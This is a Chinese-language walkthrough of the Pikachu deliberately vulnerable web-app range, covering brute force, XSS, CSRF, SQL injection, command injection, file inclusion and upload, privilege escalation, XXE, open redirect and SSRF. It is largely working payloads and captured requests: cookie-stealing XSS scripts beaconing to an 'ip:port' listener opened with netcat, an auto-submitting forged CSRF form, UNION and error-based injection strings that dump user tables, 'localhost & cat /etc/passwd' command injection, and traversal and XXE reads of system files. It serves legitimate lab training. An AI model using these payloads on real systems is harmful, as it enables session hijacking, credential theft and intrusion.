Pikachu靶场
# Burte Force
# 基于表单的暴力破解
BrupSuite抓包,发到Intruder
username和password设为变量,使用Cluster bomb模式进行爆破
账号为:admin,密码为:123456
# 验证码绕过(on Server)
抓包发到Repeater,手动修改两次username和password,不更改验证码
Response返回并未提示验证码错误,说明验证码后台不过期,可以重复使用,接下来重复上一节即可。
爆破成功,账号为:admin,密码为:123456
# 验证码绕过(on Clinet)
BrupSuite开启抓包,提交错误的验证码,发现没有新的数据包发往服务器,但网页还是提示验证码错误
查看网页源码,发现验证码部分是前端验证,代码如下
var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的
for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}
function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}
createCode();
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
提交正确的验证码发到Repeater,随意修改验证码字段,Response也未提示验证码错误,说明该字段虽然也提交,但是服务端没有对其进行逻辑处理,接着还是老一套Intruder
爆破成功,账号为:admin,密码为:123456
# token防爆破
随便提交一次,抓到的数据包内发现包含token字段,并且每次提交token值都在变化,重放次数过多会提示错误,并且该token就在网页表单中
这就比较简单了,还是Intruder,给token字段也设为变量,在option中设置正则提取其内容
对应的payload也设置为该正则
开始爆破
爆破成功,账号为:admin,密码为:123456
# Cross-Site Scripting
# 反射型XSS(get)
<script>alert("hello")</script>
简单弹个hello看下
可以看到内容被插入到页面了
删除get的message字段,刷新后hello消失,反射型xss
接下来构造的XSS的payload如下:
<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>
经过编码后的链接如下
http://ip/vul/xss/xss_reflected_get.php?message=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fip%3Aport%2Fcookie%3D%22%2BencodeURI%28document.cookie%29%3B%3C%2Fscript%3E&submit=submit#
vps开启监听
nc -lvvp 9999
模拟访问该链接
获取cookie成功
# 反射型XSS(post)
也是<script>alert("hello")</script>
简单弹个hello看下
url无变化,post传参,用hackbar更清楚,删除message字段,刷新后hello消失,反射型xss
反射post型不方便直接构造链接进行攻击,这里手动将下面的payload输入进去
<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>
还是获得了cookie,看着有点乱,对应url解一下码即可
# 存储型XSS
就不弹窗了,直接开冲
<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>
很快啊,cookie就收到了
刷新页面,也还是能收到cookie,存储型xss
# DOM型XSS
随便输入个1
出现在了dom树中,dom型xss,尝试构造恶意dom
' onclick="new Image().src='http://ip:port/?cookie='+encodeURI(document.cookie);">
恶意dom拆入后新dom树如下
照例vps开启nc监听,客户端点击后vps收到cookie
# DOM型XSS-X
随便输入个flag,出现在了dom中,并且url内参数也发生了变化,类型get反射型xss
思路一样还是闭合标签,构造恶意dom
' onclick="new Image().src='http://ip:port/?cookie='.concat(encodeURI(document.cookie));">
这里连接字符串不能用+
号了,+
号经url编码后失去了连接符的作用,所以用concat函数替换
同时此种恶意链接经url编码后如下
http://ip/vul/xss/xss_dom_x.php?text=%27+onclick%3D%22new+Image%28%29.src%3D%27http%3A%2F%2Fip%3Aport%2F%3Fcookie%3D%27.concat%28encodeURI%28document.cookie%29%29%3B%22%3E#
点击标签中内容,vps即可收到cookie
# XSS之盲打
直接两个输入框都输入下放payload,开冲
<script>new Image().src="http://ip:port/cookie="+encodeURI(document.cookie);</script>
模拟登录管理员后台查看后,vps收到管理员cookie
# XSS的过滤
后面还是弹窗吧,累了,懒得切来切去了
<script>alert(document.cookie)</script>
输入后没反应,查看页面发现只剩一个>
,不知道具体过滤了啥,无脑先试大小写绕过
<sCriPt>alert(document.cookie)</sCriPt>
成功绕过,收获cookie一枚
# XSS之htmlspecialchars
# htmlspecialchars函数
htmlspecialchars(
string $string,
int $flags = ENT_COMPAT | ENT_HTML401,
string $encoding = ini_get("default_charset"),
bool $double_encode = true
): string
2
3
4
5
6
该函数把预定义的字符转换为 HTML 实体
预定义的字符 | 转换后 |
---|---|
& (& 符号) | & |
" (双引号) | " ,除非设置了 ENT_NOQUOTES |
' (单引号) | 设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401 ) ,或者 ' (如果是 ENT_XML1 、 ENT_XHTML 或 ENT_HTML5 ) |
< (小于) | < |
> (大于) | > |
参数:flag(位掩码,由以下某个或多个标记组成,设置转义处理细节、无效单元序列、文档类型。 默认是 ENT_COMPAT | ENT_HTML401
)
常量名称 | 描述 |
---|---|
ENT_COMPAT | 会转换双引号,不转换单引号。 |
ENT_QUOTES | 既转换双引号也转换单引号。 |
ENT_NOQUOTES | 单/双引号都不转换。 |
ENT_IGNORE | 静默丢弃无效的代码单元序列,而不是返回空字符串。 不建议使用此标记, 因为它» 可能有安全影响 (opens new window)。 |
ENT_SUBSTITUTE | 替换无效的代码单元序列为 Unicode 代替符(Replacement Character), U+FFFD (UTF-8) 或者 � (其他),而不是返回空字符串。 |
ENT_DISALLOWED | 为文档的无效代码点替换为 Unicode 代替符(Replacement Character): U+FFFD (UTF-8),或 � (其他),而不是把它们留在原处。 比如以下情况下就很有用:要保证 XML 文档嵌入额外内容时格式合法。 |
ENT_HTML401 | 以 HTML 4.01 处理代码。 |
ENT_XML1 | 以 XML 1 处理代码。 |
ENT_XHTML | 以 XHTML 处理代码。 |
ENT_HTML5 | 以 HTML 5 处理代码。 |
前置知识结束,直接将这些预定义字符一('"&><
)起输入看看,结果如下
<div id="xssr_main">
<p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
<form method="get">
<input class="xssr_in" type="text" name="message">
<input class="xssr_submit" type="submit" name="submit" value="submit">
</form>
<p class="notice">你的输入已经被记录:</p>
<a href="" "&><'="">'"&><</a>
</div>
2
3
4
5
6
7
8
9
输入插入到了dom中,且只有'
(单引号)没被转换,利用这点闭合属性,构造恶意payload如下
#' onclick='alert(document.cookie)'
恶意payload输入提交后新的页面核心部分如下
<div id="xssr_main">
<p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
<form method="get">
<input class="xssr_in" type="text" name="message">
<input class="xssr_submit" type="submit" name="submit" value="submit">
</form>
<p class="notice">你的输入已经被记录:</p>
<a href="#" onclick="alert(document.cookie)" '="">#' onclick='alert(document.cookie)'</a>
</div>
2
3
4
5
6
7
8
9
点击标签弹出cookie
# xss之href输出
要求输入url,随意输入127.0.0.1后dom如下
<div id="xssr_main">
<p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
<form method="get">
<input class="xssr_in" type="text" name="message">
<input class="xssr_submit" type="submit" name="submit" value="submit">
</form>
<a href="127.0.0.1"> 阁下自己输入的url还请自己点一下吧</a>
</div>
2
3
4
5
6
7
8
内容插入了a标签的href属性中,该处也可以执行js代码,构造恶意payload如下
Javascript:alert(document.cookie)
提交后,核心dom变化如下
<div id="xssr_main">
<p class="xssr_title">请输入一个你常用的网站url地址,我就知道你是什么人</p>
<form method="get">
<input class="xssr_in" type="text" name="message">
<input class="xssr_submit" type="submit" name="submit" value="submit">
</form>
<a href="Javascript:alert(document.cookie)"> 阁下自己输入的url还请自己点一下吧</a>
</div>
2
3
4
5
6
7
8
点击标签,弹出cookie
# xss之js输出
原始页面js核心部分如下
<script>
$ms='';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
2
3
4
5
6
7
8
9
10
11
随意输入deedbeef后,发现被插入了js代码中
<script>
$ms='deedbeef';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
2
3
4
5
6
7
8
9
10
11
直接单引号闭合,构造恶意js,并且注释掉后面部分,payload如下
';alert(document.cookie);//
提交后,弹出cookie
# CSRF
# CSRF(get)
直接登录kobe账号,点击修改个人信息,修改一个手机号项如下
提交时抓包,请求包内容如下
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=10086&add=nba+lakes&email=kobe%40pikachu.com&submit=submit HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/csrf/csrfget/csrf_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=jd3540v9nsn5a332185ddutcek
Connection: close
2
3
4
5
6
7
8
9
10
可以看到get请求中并没有防CSRF的token,直接构造恶意链接修改信息为(boy,12580,usa,admin@admin.cn),如下
http://172.26.239.122/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12580&add=usa&email=admin@admin.cn&submit=submit
模拟kobe访问该链接,可以看到通过csrf修改了kobe的信息
# CSRF(post)
还是老一套,这次登录lucy账号
随便修改点什么,抓包看到数据是post提交的,这也好办,伪造一个恶意提交表单页面(提交后修改账号内容为boy,12580,usa,admin@admin.cn)
<!DOCTYPE html>
<html>
<head lang="cn">
<title>csrf_post</title>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form action="http://172.26.239.122/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="text" name="sex" value="boy"><br>
<input type="hidden" name="phonenum" value="12580"><br>
<input type="hidden" name="add" value="usa"><br>
<input type="hidden" name="email" value="admin@admin.cn"><br>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
模拟lucy访问我们伪造的恶意页面,可以看到通过csrf修改了lucy的信息
# CSRF Token
CSRF的主要问题是敏感操作的链接容易被伪造,那Token是如何防止CSRF的:
- 每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证
- 每次刷新页面,token值都会发生变化。这样就防止了CSRF
随意修改内容,第一次请求包数据如下
GET /vul/csrf/csrftoken/token_get_edit.php?sex=10086&phonenum=10086&add=10086&email=10086&token=78116632ec0a6bbe12219421110&submit=submit HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/csrf/csrftoken/token_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close
2
3
4
5
6
7
8
9
10
第二次如下
GET /vul/csrf/csrftoken/token_get_edit.php?sex=10010&phonenum=10010&add=10010&email=10010&token=91613632ec0d3169d4241490211&submit=submit HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/csrf/csrftoken/token_get_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close
2
3
4
5
6
7
8
9
10
可以发现token值明显不同,服务端对这个进行校验,(token值够随机,防暴力破解好的话)就可以较为有效过滤掉伪造的CSRF请求
# SQL-Inject
# 数字型注入(post)
抓包,送到Repeater
id字段可注入,数字型
查字段,order by到3报Unknown column '3' in 'order clause',说明就2个字段,id字段注入数据如下
id=1 order by 3
查显示位(2个显示位),post数据部分如下
id=-1 union select 1,2
查库名,查表名
id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()
查users表下的字段名(查其他表对应替换table_name)
id=-1 union select database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
查users表下的数据
id=-1 union select username,password from users
# 字符型注入(get)
name字段可注入,字符型,字段、显示位啥就不查了,一样的
查用户、表名
name=' union select user(),group_concat(table_name) from information_schema.tables where table_schema=database()#
查数据库版本、users表下的字段名(查其他表对应替换table_name)
name=' union select version(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
查users表下的数据
name=' union select username,password from users#
# 搜索型注入
还是name字段可注入,搜索型
查字段,order by到4报Unknown column '4' in 'order clause',说明就3个字段,name字段注入数据如下
name=1%' order by 4#
查显示位(3个显示位)
name=1%' union select 1,2,3#
查操作系统,查表名
name=1%' union select @@version_compile_os,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
查users表下的字段名(查其他表对应替换table_name)
name=1%' union select version(),@@version_compile_os,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
查users表下的数据
name=1%' union select username,id,password from users#
# xx型注入
name字段可注入,从报错可知,闭合语句需要')
查字段,order by到3报Unknown column '3' in 'order clause',说明就2个字段,name字段注入数据如下
name=') order by 3#
查显示位(2个显示位)
name=') union select 1,2#
查操作系统,查表名
name=') union select @@version_compile_os,group_concat(table_name) from information_schema.tables where table_schema=database()#
查users表下的字段名(查其他表对应替换table_name)
name=') union select @@version_compile_os,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()#
查users表下的数据
name=') union select username,password from users#
# "insert/update"注入
username字段可以注入,字符型单引号'
这里选username字段,利用extractvalue函数报错注入
查表名
username=' or extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '
查数据库版本、users表下的字段名(查其他表对应替换table_name)
username=' or extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e)) or '
查users表下的数据
username=' or extractvalue(1, concat(0x7e,(select group_concat(username,":",password) from users limit 0,1),0x7e)) or '
# "delete"注入
点击删除留言时数据包的id字段可注入,数字型,数据包如下
GET /vul/sqli/sqli_del.php?id=56 HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/sqli/sqli_del.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close
2
3
4
5
6
7
8
9
10
这次用updataxml函数来报错注入
查表名
id=56 and updatexml(1,concat(0x7e,@@version,0x7e),1)
tips:这里是get传参的,需要url编码
# http头注入
直接登录账号,可以发现返回的数据包对之前的UA等HTTP头数据进行了纪录
重新抓包,尝试在UA处测试注入
测试存在SQL注入,字符型单引号'
查表名
' or updatexml(1,concat(0x7e,database()),1) or '
最后查个数据吧,其他的不查了,都一样
' or updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users limit 0,1),0x7e),1) or '
# 盲注(base on boolian)
搜索不存在的用户例如:hacker
提示用户不存在,再搜一个有的:kobe
保存抓到的请求包为header.txt如下
GET /vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/sqli/sqli_blind_b.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=u19vivvv2j26lqb3622ebur90r
Connection: close
2
3
4
5
6
7
8
9
10
sqlmap直接开跑
sqlmap -r header.txt –current-db
# 盲注(base on time)
同样sqlmap直接跑
sqlmap -r header.txt –current-db
# 宽字节注入
正常输入kobe,SQL语句使用了like模糊查询
%'
闭合无效,尝试宽字节闭合,先来个万能查询
name=%df' or 1=1#
查显示位(2个显示位)
name=%df' union select 1,2#
查库名,查表名
name=%df' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
查users表下的数据
name=%df' union select username,password from users#
# RCE
# exec "ping"
要求输入IP地址,这里尝试拼接命令,提交后发现可以直接注入命令
localhost & cat /etc/passwd
# exec "evel"
要求输入字符串,提示说明使用了eval对接受的字符串进行了执行,提交后返回phpinfo页面
说明可以直接输入恶意php代码,进行RCE
# File Inclusion
# File Inclusion(local)
选择Kobe Bryant提交后,发现url发生了变化,疑似包含了file1.php文件
这里通过目录爆破,得到../../../../
之后就是系统根目录了,这里成功包含了/etc/passwd目录
# File Inclusion(remote)
选择Kobe Bryant提交后,还是url发生了变化,这次尝试远程包含文件
编写include.php文件,vps启动http服务
<?php phpinfo();?>
访问http://172.26.239.122/vul/fileinclude/fi_remote.php?filename=http://172.26.239.122:4444/include.php&submit=提交后成功远程包含
# Unsafe Filedownload
随便点击一个,抓取数据包,数据包请求信息如下
GET /vul/unsafedownload/execdownload.php?filename=kb.png HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/unsafedownload/down_nba.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
2
3
4
5
6
7
8
9
filename像是文件,尝试修改该字段为/etc/passwd,提示文件不存在
利用本地包含的信息,重新修改为../../../../etc/passwd
,成功下载该文件
# Unsafe Fileupload
# client check
编写一句话木马文件shell.php,尝试上传抓包
发现并没有数据包发出,就收到了验证信息,为前端验证,直接修改后缀为jpg,抓包后再改回来绕过
成功上传
# MIME type
还是传shell.php,这次改MIME type也就是Content-Type: image/jpeg
成功上传
# getimagesize
前两种单独或结合起来都没用了,这次给shell.php内容中增加图片文件头GIF89a,再上传
这种后门文件没办法通过访问触发了,需要配合解析漏洞或者文件包含使用
# Over Permission
# 水平越权
开启抓包点击查看个人信息按钮
该请求数据包内容如下
GET /vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF HTTP/1.1
Host: 172.26.239.122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/overpermission/op1/op1_mem.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=jdco7efq49sd079f9m6b68c6fq
Connection: close
2
3
4
5
6
7
8
9
10
尝试修改username字段为其他用户例如:vince,即可水平越权,使用lucy账户查看vince用户的信息
# 垂直越权
先使用超级管理员进行登录
点击添加用户,填入对应信息,进行抓包,对应请求数据包如下,暂时发到Repeater
POST /vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: 172.26.239.122
Content-Length: 112
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.26.239.122
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.26.239.122/vul/overpermission/op2/op2_admin_edit.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=jdco7efq49sd079f9m6b68c6fq
Connection: close
username=hacker&password=hacker&sex=hacker&phonenum=hacker&email=hacker&address=hacker&submit=%E5%88%9B%E5%BB%BA
2
3
4
5
6
7
8
9
10
11
12
13
14
15
接着登录普通用户,抓取普通用户的cookie,替换超级管理员的cookie部分进行发包
可以看到成功使用无权限普通用户添加了一个hacker的新用户
# ../../
# 目录遍历
这个前面本地文件包含时直接目录爆破得到了../../../../
就是系统根目录了,利用这点遍历读取/etc/passwd文件
# 敏感信息泄露
# Icanseeyouabc
直接在链接前插入view-source:,查看网页源代码其中注释部分泄露了账号等敏感信息,如下
<!-- 测试账号:lili/123456-->
<!-- /.widget-body -->
2
# PHP反序列化漏洞
php源代码如下
<?php
class S{
var $test = "pikachu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
?>
2
3
4
5
6
7
8
9
10
使用下列代码生成恶意序列化数据
<?php
class S{
public $test = "<script>alert(document.cookie)</script>";
}
$code=new S();
echo serialize($code);
?>
2
3
4
5
6
7
生成序列化数据如下
O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}
提交后,弹出cookie
# XXE
# XXE漏洞
# 概述
- XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞;XXE扩大了攻击面
- 当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
- 防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)
我们利用外部实体注入,读取/etc/passwd文件,xml-dtd的payload如下
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///etc/passwd"> ]> <creds>&goodies;</creds>
可以看到成功读取了文件进行显示
# URL重定向
# 不安全的url跳转
- 不安全的url跳转问题可能发生在一切执行了url地址跳转的地方
- 如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题
- url跳转比较直接的危害是:钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站
点击我就是我,放荡不羁的我
后,url更新为
http://172.26.239.122/vul/urlredirect/urlredirect.php?url=i
尝试url字段修改为https://www.baidu.com
页面重定向到了https://www.baidu.com,这里恶意利用的话可以搭建恶意站点,诱导用户点击
# SSRF
# SSRF(curl)
点击后显示如下(docker搭建的环境,手动修复了下ip地址)
尝试修改url字段为http://172.26.239.122:3306,进行SSRF端口探测
其他端口探测同理,这里就不演示了,docker只映射了80和3306端口出来
# SSRF(file_get_content)
- file_get_content 可以对本地和远程的文件进行读取
这里读取本地/etc/passwd文件
http://172.26.239.122/vul/ssrf/ssrf_fgc.php?file=/etc/passwd